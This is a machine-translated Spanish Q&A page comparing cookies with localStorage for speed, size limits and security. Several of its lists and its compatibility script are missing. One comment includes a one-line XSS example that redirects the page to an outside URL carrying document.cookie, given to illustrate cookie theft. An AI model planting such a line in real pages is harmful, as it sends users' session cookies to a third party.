Quiero reducir los tiempos de carga en mis sitios web moviendo todas las cookies al almacenamiento local, ya que parecen tener la misma funcionalidad. ¿Existen ventajas y desventajas (especialmente en cuanto al rendimiento) en el uso del almacenamiento local para reemplazar la funcionalidad de las cookies, excepto por los obvios problemas de compatibilidad?
html
cookies
httprequest
local-storage
Gio Borje
fuente
fuente
Respuestas:
Las cookies y el almacenamiento local tienen diferentes propósitos. Las cookies son principalmente para leer del lado del servidor , el almacenamiento local solo puede ser leído por el lado del cliente . Entonces, la pregunta es, en su aplicación, ¿quién necesita estos datos: el cliente o el servidor?
Si es su cliente (su JavaScript), entonces cambie por todos los medios. Está desperdiciando ancho de banda al enviar todos los datos en cada encabezado HTTP.
Si es su servidor, el almacenamiento local no es tan útil porque tendría que reenviar los datos de alguna manera (con Ajax o campos de formulario ocultos o algo así). Esto podría estar bien si el servidor solo necesita un pequeño subconjunto de los datos totales para cada solicitud.
Sin embargo, querrás dejar tu cookie de sesión como una cookie.
Según la diferencia técnica, y también mi comprensión:
Además de ser una forma antigua de guardar datos, las cookies le dan un límite de 4096 bytes (4095, en realidad), es por cookie. El almacenamiento local es tan grande como 5 MB por dominio ; SO Question también lo menciona.
localStorage
es una implementación de laStorage
interfaz. Almacena datos sin fecha de vencimiento y se borra solo a través de JavaScript, o borrando la memoria caché del navegador / datos almacenados localmente, a diferencia de la expiración de cookies.fuente
sessionStorage
es una Cookie que ha caducado hasta que se cierre el Navegador (no la pestaña). @darkporter, gracias por la respuesta. Sin embargo, me gustaría escuchar la diferencia técnica entre las cookies y el almacenamiento local. esperando tu edición.localStorage
permanece en el cliente, mientrascookies
se envían con el encabezado HTTP. Esa es la mayor (pero no la única) diferencia entre ellos.En el contexto de los JWT , Stormpath ha escrito un artículo bastante útil que describe posibles formas de almacenarlos y las (des) ventajas relacionadas con cada método.
También tiene una breve descripción de los ataques XSS y CSRF, y cómo puedes combatirlos.
He adjuntado algunos fragmentos breves del artículo a continuación, en caso de que su artículo se desconecte / su sitio se caiga.
Almacenamiento local
Problemas:
Prevención:
Galletas
Problemas:
Prevención:
El artículo completo se puede encontrar aquí: https://stormpath.com/blog/where-to-store-your-jwts-cookies-vs-html5-web-storage/
También tienen un artículo útil sobre cómo diseñar e implementar mejor los JWT, con respecto a la estructura del token: https://stormpath.com/blog/jwt-the-right-way/
fuente
localStorage
es accesible para otros scripts en la página ... Pero también lo estáXMLHttpRequest
... Y sí, el indicador HttpOnly protege contra el robo de la cookie, pero el navegador aún lo envía al dominio correspondiente automáticamente ... básicamente cuando tiene scripts maliciosos corriendo en tu página ya estás pirateado.window.location = 'http://google.com?q=' + escape(document.cookie);
. Este ataque pasa por alto la verificación CORS de los navegadores.Con
localStorage
, las aplicaciones web pueden almacenar datos localmente dentro del navegador del usuario. Antes de HTML5, los datos de la aplicación debían almacenarse en cookies, incluidas en cada solicitud del servidor. Se pueden almacenar grandes cantidades de datos localmente, sin afectar el rendimiento del sitio web. AunquelocalStorage
es más moderno, hay algunas ventajas y desventajas de ambas técnicas.Galletas
Pros
Contras
Almacenamiento local
Pros
Contras
localStorage
El uso es casi idéntico al de la sesión uno. Tienen métodos bastante exactos, por lo que cambiar de sesión alocalStorage
juego es realmente un juego de niños. Sin embargo, si los datos almacenados son realmente cruciales para su aplicación, probablemente usará cookies como respaldo en caso delocalStorage
que no esté disponible. Si desea verificar la compatibilidad del navegadorlocalStorage
, todo lo que tiene que hacer es ejecutar este script simple:fuente
Bueno, la velocidad de almacenamiento local depende en gran medida del navegador que esté utilizando el cliente, así como del sistema operativo. Chrome o Safari en una Mac podrían ser mucho más rápidos que Firefox en una PC, especialmente con las API más nuevas. Sin embargo, como siempre, la prueba es tu amigo (no pude encontrar ningún punto de referencia).
Realmente no veo una gran diferencia en el almacenamiento de cookies frente a local. Además, debería estar más preocupado por los problemas de compatibilidad: no todos los navegadores han comenzado a admitir las nuevas API HTML5, por lo que las cookies serían su mejor opción para la velocidad y la compatibilidad.
fuente
También vale la pena mencionar que
localStorage
no se puede usar cuando los usuarios navegan en modo "privado" en algunas versiones de Safari móvil.Citado de MDN ( https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage ):
fuente
El almacenamiento local puede almacenar hasta 5 mb de datos sin conexión, mientras que la sesión también puede almacenar hasta 5 mb de datos. Pero las cookies solo pueden almacenar datos de 4 kb en formato de texto.
Datos de almacenamiento LOCAl y Session en formato JSON, por lo tanto fáciles de analizar. Pero los datos de las cookies están en formato de cadena.
fuente
galletas :
Almacenamiento local:
fuente